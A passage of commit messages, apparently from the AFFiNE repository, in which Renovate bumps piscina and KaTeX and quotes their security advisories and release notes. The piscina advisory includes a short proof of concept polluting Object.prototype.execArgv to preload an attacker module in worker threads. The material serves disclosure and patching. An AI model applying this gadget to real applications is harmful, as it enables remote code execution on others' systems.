log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDQuMTM0LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-10 04:09:03 +08:00
renovate[bot]andDarkSky 6bb64575b1 chore: bump up piscina version to v5.3.2 [SECURITY] (#15681)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.2.0` →
`5.3.2`](https://renovatebot.com/diffs/npm/piscina/5.2.0/5.3.2) |
![age](https://developer.mend.io/api/mc/badges/age/npm/piscina/5.3.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/piscina/5.2.0/5.3.2?slim=true)
|

---

### piscina: Prototype-pollution gadget in ThreadPool.options allows RCE
via execArgv / loadBalancer / env
[CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992) /
[GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx)

<details>
<summary>More information</summary>

#### Details
##### Summary

A prototype-pollution gadget in `ThreadPool.options` allows an attacker
who can pollute `Object.prototype` to execute arbitrary code in Piscina
worker threads, invoke arbitrary functions during task scheduling, or
inject environment variables into workers. The root cause is that
`ThreadPool.options` is created as a plain object inheriting from
`Object.prototype`, so any option without an explicit default in
`kDefaultOptions` can be supplied via the prototype chain.

##### Details

In `src/index.ts` the `ThreadPool` constructor builds the resolved
options object as a plain object:

```ts
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }
```

Because this object has `Object.prototype` as its prototype, reads for
properties that are not own properties of the object and are not present
in `kDefaultOptions` fall back to `Object.prototype`. This means a
prototype-pollution primitive (e.g. from a vulnerable `merge()` or
`JSON.parse` merge elsewhere in the application) can inject values for
`execArgv`, `env`, `loadBalancer`, `argv`, `workerData`,
`resourceLimits`, `niceIncrement`, `closeTimeout`, `recordTiming`,
`stricterFIFO`, `workerHistogram`, and `trackUnmanagedFds`.

The most serious gadget is `execArgv`, which is passed directly to `new
Worker(..., { execArgv })`. An attacker can set
`Object.prototype.execArgv = ['--require', '/tmp/attacker.js']`, causing
every worker to preload and execute the attacker-controlled module on
startup.

This issue survived the fix for **GHSA-x9g3-xrwr-cwfg / CVE-2026-55388**
("Prototype Pollution Gadget → RCE via inherited options.filename").
That advisory hardened the `Piscina` constructor's `filename` read and
`run()`'s `filename`/`name` reads, but `ThreadPool.options` itself was
not created with a null prototype. The same class of attack is therefore
still possible against any option without an explicit default in
`kDefaultOptions`.

##### PoC

```js
import { resolve } from 'node:path'
import Piscina from 'piscina'

Object.prototype.execArgv = ['--require', '/tmp/attacker.js']

const pool = new Piscina({
  filename: resolve(import.meta.dirname, 'worker.js'),
  minThreads: 1,
  maxThreads: 1,
})

await pool.run(1)
```

`/tmp/attacker.js` is executed in the worker on startup. A full
reproduction repository with `execArgv`, `loadBalancer`, and `env`
vectors is available at https://github.com/Fcmam5/piscina-pp-poc.

##### Impact

- **Remote Code Execution**: via `execArgv` (arbitrary `--require`
module preloaded in every worker on spawn).
- **Arbitrary code execution in the main thread**: via `loadBalancer`,
an attacker-supplied function that is called during task scheduling.
- **Environment/CLI option injection**: via `env`, which is passed to
each worker constructor.
- **Denial of Service / unexpected behavior**: via other reachable
options such as `workerData`, `resourceLimits`, `niceIncrement`,
`closeTimeout`, `recordTiming`, etc.

Anyone using Piscina in an application where `Object.prototype` can be
polluted (e.g. through a dependency with a prototype-pollution
vulnerability) is impacted.

#### Severity
- CVSS Score: 9.2 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992)
-
[https://github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f](https://redirect.github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f)
-
[https://github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72](https://redirect.github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72)
-
[https://github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7](https://redirect.github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7)
-
[https://github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6](https://redirect.github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6)
-
[https://github.com/piscinajs/piscina/releases/tag/v4.9.4](https://redirect.github.com/piscinajs/piscina/releases/tag/v4.9.4)
-
[https://github.com/piscinajs/piscina/releases/tag/v5.3.2](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2)
-
[https://github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5](https://redirect.github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5)
-
[https://github.com/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>piscinajs/piscina (piscina)</summary>

###
[`v5.3.2`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2)

[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2)

**Full Changelog**:
<https://github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2>

###
[`v5.3.1`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.1)

[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1)

#### What's Changed

- docs: renew TestMu AI sponsor by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1137](https://redirect.github.com/piscinajs/piscina/pull/1137)

**Full Changelog**:
<https://github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1>

###
[`v5.3.0`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.0)

[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0)

#### What's Changed

- chore(deps): Bump shell-quote from 1.8.3 to 1.8.4 in /docs in the
npm_and_yarn group across 1 directory by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1075](https://redirect.github.com/piscinajs/piscina/pull/1075)
- chore(deps): Bump the npm_and_yarn group across 1 directory with 2
updates by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1081](https://redirect.github.com/piscinajs/piscina/pull/1081)
- chore: update sponsors by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1084](https://redirect.github.com/piscinajs/piscina/pull/1084)
- \[Backport v5] chore: Enhance SECURITY.md with detailed security
policy by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1092](https://redirect.github.com/piscinajs/piscina/pull/1092)
- chore(deps): Bump websocket-driver from 0.7.4 to 0.7.5 in /docs in the
npm_and_yarn group across 1 directory by
[@&#8203;github-actions](https://redirect.github.com/github-actions)\[bot]
in
[#&#8203;1110](https://redirect.github.com/piscinajs/piscina/pull/1110)
- feat: add stricterFIFO option for queue fairness
([#&#8203;1100](https://redirect.github.com/piscinajs/piscina/issues/1100))
by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in
[#&#8203;1113](https://redirect.github.com/piscinajs/piscina/pull/1113)

**Full Changelog**:
<https://github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-10-07 10:10:31 +08:00
renovate[bot] 1c90d02b0c chore: bump up katex version to ^0.18.0 [SECURITY] (#15680)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [katex](https://katex.org)
([source](https://redirect.github.com/KaTeX/KaTeX)) | [`^0.16.27` →
`^0.18.0`](https://renovatebot.com/diffs/npm/katex/0.16.47/0.18.2) |
![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.18.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.47/0.18.2?slim=true)
|

---

### KaTeX: Existing prototype pollution can bypass trust restrictions
[CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) /
[GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

<details>
<summary>More information</summary>

#### Details
##### Impact

KaTeX can act as a read-side prototype pollution gadget in applications
where `Object.prototype` has already been polluted, or where an attacker
can influence the prototype of the renderer options object. (KaTeX does
not enable said prototype pollution. This advisory applies when
combining KaTeX with other vulnerable software that allows for prototype
pollution.)

Affected versions may treat inherited properties from `Object.prototype`
as renderer options, internal setting metadata, or namespace entries. In
particular, an inherited `trust` value will be treated as though the
application explicitly enabled trusted rendering, rather than using the
documented default of `false`.

With attacker-controlled mathematical expressions, this can produce
links capable of user-interaction cross-site scripting or load
attacker-selected external resources. Exploitation requires the
consuming application to insert KaTeX output into a web page without a
separate sanitizer. (KaTeX does not execute scripts merely by rendering
an expression.)

Other inherited settings can alter rendering behavior or resource
limits. Inherited setting metadata can affect how defaults and supplied
options are processed, while inherited namespace properties can be
mistaken for defined macros or other internal values.

##### Patches

Upgrade to KaTeX v0.18.2 to remove this vulnerability.

##### Workarounds

- Address any prototype-pollution vulnerability in the application or
its dependencies.
- `delete Object.prototype.trust`, `delete Object.prototype.default`,
and `delete Object.prototype.processor` before calling KaTeX
- Do not allow untrusted input to control the renderer options object or
its prototype.
- Sanitize KaTeX-generated HTML before inserting it into a document.

##### Details

KaTeX previously used ordinary JavaScript property access in the
following contexts:

- Renderer settings could be inherited from the prototype of the options
object.
- Internal `default` and `processor` setting metadata could be inherited
from `Object.prototype`.
- Namespace lookup could treat inherited properties as built-in
definitions.
- Namespace group restoration could preserve an inherited property as
though it had been an explicitly defined value.

The fix adds own-property checks to each of these paths. Inherited
properties are no longer accepted as renderer settings, setting
metadata, namespace definitions, or values to be restored after a group
ends.

##### For more information

If you have any questions or comments about this advisory:

- Open an issue or security advisory in the [KaTeX
repository](https://redirect.github.com/KaTeX/KaTeX/)
- Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)

#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`

#### References
-
[https://github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923)
-
[https://github.com/KaTeX/KaTeX/pull/4260](https://redirect.github.com/KaTeX/KaTeX/pull/4260)
-
[https://github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4)
-
[https://github.com/KaTeX/KaTeX/releases/tag/v0.18.2](https://redirect.github.com/KaTeX/KaTeX/releases/tag/v0.18.2)
-
[https://github.com/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>KaTeX/KaTeX (katex)</summary>

###
[`v0.18.2`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0182-2026-08-08)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.1...v0.18.2)

##### Bug Fixes

- prevent prototype pollution in settings
([#&#8203;4260](https://redirect.github.com/KaTeX/KaTeX/issues/4260))
([0adf7e7](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4))

###
[`v0.18.1`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01811-2026-10-01)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.0...v0.18.1)

##### Features

- handle character metrics warnings via `strict`
([#&#8203;4243](https://redirect.github.com/KaTeX/KaTeX/issues/4243))
([4237070](https://redirect.github.com/KaTeX/KaTeX/commit/423707055a37803acafef4c1533832273192ea0e))

###
[`v0.18.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0180-2026-07-17)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.17.0...v0.18.0)

##### Features

- prefix css classes
([#&#8203;4229](https://redirect.github.com/KaTeX/KaTeX/issues/4229))
([6f5c44f](https://redirect.github.com/KaTeX/KaTeX/commit/6f5c44f69bae0703877a3a8d934e20c47bbbbc32))

##### BREAKING CHANGES

- users who apply custom styles or have allowlists targeting KaTeX's
internal classes must update their selectors.

###
[`v0.17.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0170-2026-05-22)

[Compare
Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.47...v0.17.0)

##### Performance Improvements

- simplify `defineFunction` to avoid destructuring, improve typing
([#&#8203;4222](https://redirect.github.com/KaTeX/KaTeX/issues/4222))
([fb604e6](https://redirect.github.com/KaTeX/KaTeX/commit/fb604e6ba63e99809e242d37f9c8359209d55431))

##### BREAKING CHANGES

- The internal API for `__defineFunction` changed: you should no longer
wrap properties in `props`.

####
[0.16.47](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.46...v0.16.47)
(2026-05-16)

##### Bug Fixes

- correct size of `[` big delimiter
([#&#8203;4217](https://redirect.github.com/KaTeX/KaTeX/issues/4217))
([7ba0027](https://redirect.github.com/KaTeX/KaTeX/commit/7ba0027d2f04abddd3b215362f867ab8260b09d7)),
closes
[#&#8203;4215](https://redirect.github.com/KaTeX/KaTeX/issues/4215)

####
[0.16.46](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.45...v0.16.46)
(2026-05-13)

##### Bug Fixes

- preserve math font in some styling commands
([#&#8203;4214](https://redirect.github.com/KaTeX/KaTeX/issues/4214))
([e9ee046](https://redirect.github.com/KaTeX/KaTeX/commit/e9ee0464ddb31da9bf9649eeb70e52236e7a974a)),
closes
[#&#8203;4213](https://redirect.github.com/KaTeX/KaTeX/issues/4213)

####
[0.16.45](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.44...v0.16.45)
(2026-04-05)

##### Bug Fixes

- wrap vcenter mpadded in mrow for valid MathML
([#&#8203;4193](https://redirect.github.com/KaTeX/KaTeX/issues/4193))
([ee66b78](https://redirect.github.com/KaTeX/KaTeX/commit/ee66b78d24340edbbd05b08a4a429ce9ed158b25)),
closes
[#&#8203;4078](https://redirect.github.com/KaTeX/KaTeX/issues/4078)

####
[0.16.44](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.43...v0.16.44)
(2026-03-27)

##### Bug Fixes

- remove extra \jot space at bottom of align/gather/etc.
([#&#8203;4184](https://redirect.github.com/KaTeX/KaTeX/issues/4184))
([3870ee9](https://redirect.github.com/KaTeX/KaTeX/commit/3870ee913e27fdde7bce244e4c6c5d63e2b28a62))

####
[0.16.43](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.42...v0.16.43)
(2026-03-26)

##### Bug Fixes

- use makeEm() consistently to truncate long CSS decimals
([#&#8203;4181](https://redirect.github.com/KaTeX/KaTeX/issues/4181))
([0967dcc](https://redirect.github.com/KaTeX/KaTeX/commit/0967dcc0278f20d4501a93f01c7343c70abb3fcd))

####
[0.16.42](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.41...v0.16.42)
(2026-03-24)

##### Features

- \underbracket and \overbracket
([#&#8203;4147](https://redirect.github.com/KaTeX/KaTeX/issues/4147))
([5be9abb](https://redirect.github.com/KaTeX/KaTeX/commit/5be9abb0b4d687a2a196b8adf9b5b9deeb60f7bc))

####
[0.16.41](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.40...v0.16.41)
(2026-03-24)

##### Bug Fixes

- \sout in text mode
([#&#8203;4173](https://redirect.github.com/KaTeX/KaTeX/issues/4173))
([e748578](https://redirect.github.com/KaTeX/KaTeX/commit/e748578b63e07ad30d5e404e60b04e5e794c0a5a))

####
[0.16.40](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.39...v0.16.40)
(2026-03-20)

##### Bug Fixes

- **css:** specify position: relative for .katex
([#&#8203;4170](https://redirect.github.com/KaTeX/KaTeX/issues/4170))
([020f0d8](https://redirect.github.com/KaTeX/KaTeX/commit/020f0d89567d59229bac5fc8d8f5832a9508a85f))

####
[0.16.39](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.38...v0.16.39)
(2026-03-19)

##### Bug Fixes

- middle dot in text mode
([#&#8203;4169](https://redirect.github.com/KaTeX/KaTeX/issues/4169))
([edb45b0](https://redirect.github.com/KaTeX/KaTeX/commit/edb45b0b17c7b33349ce5142fe39156da05cb4d8)),
closes
[#&#8203;3641](https://redirect.github.com/KaTeX/KaTeX/issues/3641)

####
[0.16.38](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.37...v0.16.38)
(2026-03-08)

##### Bug Fixes

- accent skew mixed with font specifiers
([#&#8203;4159](https://redirect.github.com/KaTeX/KaTeX/issues/4159))
([aea3375](https://redirect.github.com/KaTeX/KaTeX/commit/aea33758d6c98896017007d0244885301773856a)),
closes
[#&#8203;4121](https://redirect.github.com/KaTeX/KaTeX/issues/4121)

####
[0.16.37](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.36...v0.16.37)
(2026-03-06)

##### Bug Fixes

- negative-width `\hphantom` and symmetric `\smash`
([#&#8203;4153](https://redirect.github.com/KaTeX/KaTeX/issues/4153))
([d4799ca](https://redirect.github.com/KaTeX/KaTeX/commit/d4799cae585d909e2a4e3dedbebdc2f142998ca9))

####
[0.16.36](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.35...v0.16.36)
(2026-03-06)

##### Bug Fixes

- contrib esm bloat
([#&#8203;4157](https://redirect.github.com/KaTeX/KaTeX/issues/4157))
([2bde1ad](https://redirect.github.com/KaTeX/KaTeX/commit/2bde1adab2a23f61519145923329c915b04d4778))

####
[0.16.35](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.34...v0.16.35)
(2026-03-05)

##### Bug Fixes

- version number regression
([#&#8203;4155](https://redirect.github.com/KaTeX/KaTeX/issues/4155))
([db26b73](https://redirect.github.com/KaTeX/KaTeX/commit/db26b733805f2d0d71e82596475b313c8706557e))

####
[0.16.34](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.33...v0.16.34)
(2026-03-05)

##### Bug Fixes

- emoji with variation selector
([#&#8203;4151](https://redirect.github.com/KaTeX/KaTeX/issues/4151))
([c2606e5](https://redirect.github.com/KaTeX/KaTeX/commit/c2606e5db91ae199ee1ff0c8c2f7f9f70fcf589b))

####
[0.16.33](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.32...v0.16.33)
(2026-02-23)

##### Bug Fixes

- **scss:** forward variables to fonts module
([#&#8203;4146](https://redirect.github.com/KaTeX/KaTeX/issues/4146))
([9349a64](https://redirect.github.com/KaTeX/KaTeX/commit/9349a64a051ca408da713baf061e32ade80ed22a))

####
[0.16.32](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.31...v0.16.32)
(2026-02-22)

##### Bug Fixes

- italic separation in \mathnormal
([#&#8203;4143](https://redirect.github.com/KaTeX/KaTeX/issues/4143))
([71305a0](https://redirect.github.com/KaTeX/KaTeX/commit/71305a05140ca6203092bfdc14f689168b26ab8c))

####
[0.16.31](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.30...v0.16.31)
(2026-02-22)

##### Bug Fixes

- `\*frac` sizing
([#&#8203;4137](https://redirect.github.com/KaTeX/KaTeX/issues/4137))
([ef51f18](https://redirect.github.com/KaTeX/KaTeX/commit/ef51f18ded4ab9ba54ba750f2866241c4676c41c))

####
[0.16.30](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.29...v0.16.30)
(2026-02-22)

##### Bug Fixes

- no line breaks after `\not`
([#&#8203;4140](https://redirect.github.com/KaTeX/KaTeX/issues/4140))
([2d1ba86](https://redirect.github.com/KaTeX/KaTeX/commit/2d1ba86143bd45540d5a773cfa456081318f3f33))

####
[0.16.29](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.28...v0.16.29)
(2026-02-22)

##### Bug Fixes

- `\imath` and other `\html@mathml` macros in arguments
([#&#8203;4139](https://redirect.github.com/KaTeX/KaTeX/issues/4139))
([a850cce](https://redirect.github.com/KaTeX/KaTeX/commit/a850cce7ccbf95a0b187313d1e54d8d40dfc7273))

####
[0.16.28](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.27...v0.16.28)
(2026-01-25)

##### Bug Fixes

- **type:** add missing types definition path to package.json
([#&#8203;4125](https://redirect.github.com/KaTeX/KaTeX/issues/4125))
([0ef8921](https://redirect.github.com/KaTeX/KaTeX/commit/0ef8921d189346b0ff8f84a77f7f552349b76893))

####
[0.16.27](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.26...v0.16.27)
(2025-12-07)

##### Features

- support equals sign and surrounding whitespace in \htmlData attribute
values
([#&#8203;4112](https://redirect.github.com/KaTeX/KaTeX/issues/4112))
([c77aaec](https://redirect.github.com/KaTeX/KaTeX/commit/c77aaec00c766f5bb02e332a1dc416b82a65fe8f))

####
[0.16.26](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.25...v0.16.26)
(2025-12-07)

##### Bug Fixes

- \mathop followed by integral symbol
([6fbad18](https://redirect.github.com/KaTeX/KaTeX/commit/6fbad18857351e4d2a88ed3e3348bd76caad9be3))

####
[0.16.25](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.24...v0.16.25)
(2025-10-13)

##### Features

- **css:** provide `katex-swap.css` that uses `font-display: swap`
([#&#8203;3940](https://redirect.github.com/KaTeX/KaTeX/issues/3940))
([b3f9ce6](https://redirect.github.com/KaTeX/KaTeX/commit/b3f9ce691e89a52dea7ec8f10cc6ed4ddc8fc161)),
closes
[#&#8203;2242](https://redirect.github.com/KaTeX/KaTeX/issues/2242)

####
[0.16.24](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.23...v0.16.24)
(2025-10-12)

##### Features

- support hex colors with alpha
([#&#8203;4090](https://redirect.github.com/KaTeX/KaTeX/issues/4090))
([8c9b306](https://redirect.github.com/KaTeX/KaTeX/commit/8c9b3063965acc0d6e6a0b6df4d051169de9e1a9)),
closes
[#&#8203;4067](https://redirect.github.com/KaTeX/KaTeX/issues/4067)
[#fA6](https://redirect.github.com/KaTeX/KaTeX/issues/fA6)
[#fA6f1](https://redirect.github.com/KaTeX/KaTeX/issues/fA6f1)

####
[0.16.23](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.22...v0.16.23)
(2025-10-03)

##### Bug Fixes

- Support `\def` with arguments via `macros` option
([#&#8203;4087](https://redirect.github.com/KaTeX/KaTeX/issues/4087))
([80a8158](https://redirect.github.com/KaTeX/KaTeX/commit/80a815856a8c26d78b3669e9c05fff00efe82247))

####
[0.16.22](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.21...v0.16.22)
(2025-04-09)

##### Bug Fixes

- \relax in base or exponent of super/subscript
([#&#8203;4045](https://redirect.github.com/KaTeX/KaTeX/issues/4045))
([1f43c84](https://redirect.github.com/KaTeX/KaTeX/commit/1f43c84a175fb689f8c8d1d72b1e8b896a8b43d1))

####
[0.16.21](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21)
(2025-01-17)

##### Bug Fixes

- escape \htmlData attribute name
([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8))

####
[0.16.20](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20)
(2025-01-12)

##### Bug Fixes

- \providecommand does not overwrite existing macro
([#&#8203;4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000))
([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)),
closes
[#&#8203;3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928)

####
[0.16.19](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19)
(2024-12-29)

##### Bug Fixes

- **types:** improve `strict` function type
([#&#8203;4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009))
([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86))

####
[0.16.18](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.17...v0.16.18)
(2024-12-18)

##### Bug Fixes

- Actually publish TypeScript type definitions
([#&#8203;4008](https://redirect.github.com/KaTeX/KaTeX/issues/4008))
([629b873](https://redirect.github.com/KaTeX/KaTeX/commit/629b87354fdfc04a3769f09b69f6bbadebcb9ae8))

####
[0.16.17](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.16...v0.16.17)
(2024-12-17)

##### Bug Fixes

- MathML combines multidigit numbers with sup/subscript, comma
separators, and multicharacter text when outputting to DOM
([#&#8203;3999](https://redirect.github.com/KaTeX/KaTeX/issues/3999))
([7d79e22](https://redirect.github.com/KaTeX/KaTeX/commit/7d79e220f465c42d4334dc95f1c41e333667e168)),
closes
[#&#8203;3995](https://redirect.github.com/KaTeX/KaTeX/issues/3995)

####
[0.16.16](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.15...v0.16.16)
(2024-12-17)

##### Features

- ESM exports, TypeScript types
([#&#8203;3992](https://redirect.github.com/KaTeX/KaTeX/issues/3992))
([ea9c173](https://redirect.github.com/KaTeX/KaTeX/commit/ea9c173a0de953b49b2ce5d131e88b785f5dffa1))

####
[0.16.15](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.14...v0.16.15)
(2024-12-09)

##### Features

- italic sans-serif in math mode via `\mathsfit` command
([#&#8203;3998](https://redirect.github.com/KaTeX/KaTeX/issues/3998))
([2218901](https://redirect.github.com/KaTeX/KaTeX/commit/22189018b63c9312ec4ad126804514a7390d60b5))

####
[0.16.14](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.13...v0.16.14)
(2024-12-08)

##### Features

- \dddot and \ddddot support
([#&#8203;3834](https://redirect.github.com/KaTeX/KaTeX/issues/3834))
([bda35cd](https://redirect.github.com/KaTeX/KaTeX/commit/bda35cdb0a6bbbc52dd27c79e4d984688be3b745)),
closes
[#&#8203;2744](https://redirect.github.com/KaTeX/KaTeX/issues/2744)

####
[0.16.13](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.12...v0.16.13)
(2024-12-08)

##### Bug Fixes

- `\vdots` and `\rule` support in text mode
([#&#8203;3997](https://redirect.github.com/KaTeX/KaTeX/issues/3997))
([0e08352](https://redirect.github.com/KaTeX/KaTeX/commit/0e0835262345d991df61a435800a16b069a4d5c7)),
closes
[#&#8203;3990](https://redirect.github.com/KaTeX/KaTeX/issues/3990)

####
[0.16.12](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.11...v0.16.12)
(2024-12-08)

##### Features

- **css:** configurable margin for display math
([#&#8203;3638](https://redirect.github.com/KaTeX/KaTeX/issues/3638))
([3405001](https://redirect.github.com/KaTeX/KaTeX/commit/3405001225b8ee0cf8b35b2e3a6c1fa2191e5fef))

####
[0.16.11](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.10...v0.16.11)
(2024-07-02)

##### Features

- add \emph
([#&#8203;3963](https://redirect.github.com/KaTeX/KaTeX/issues/3963))
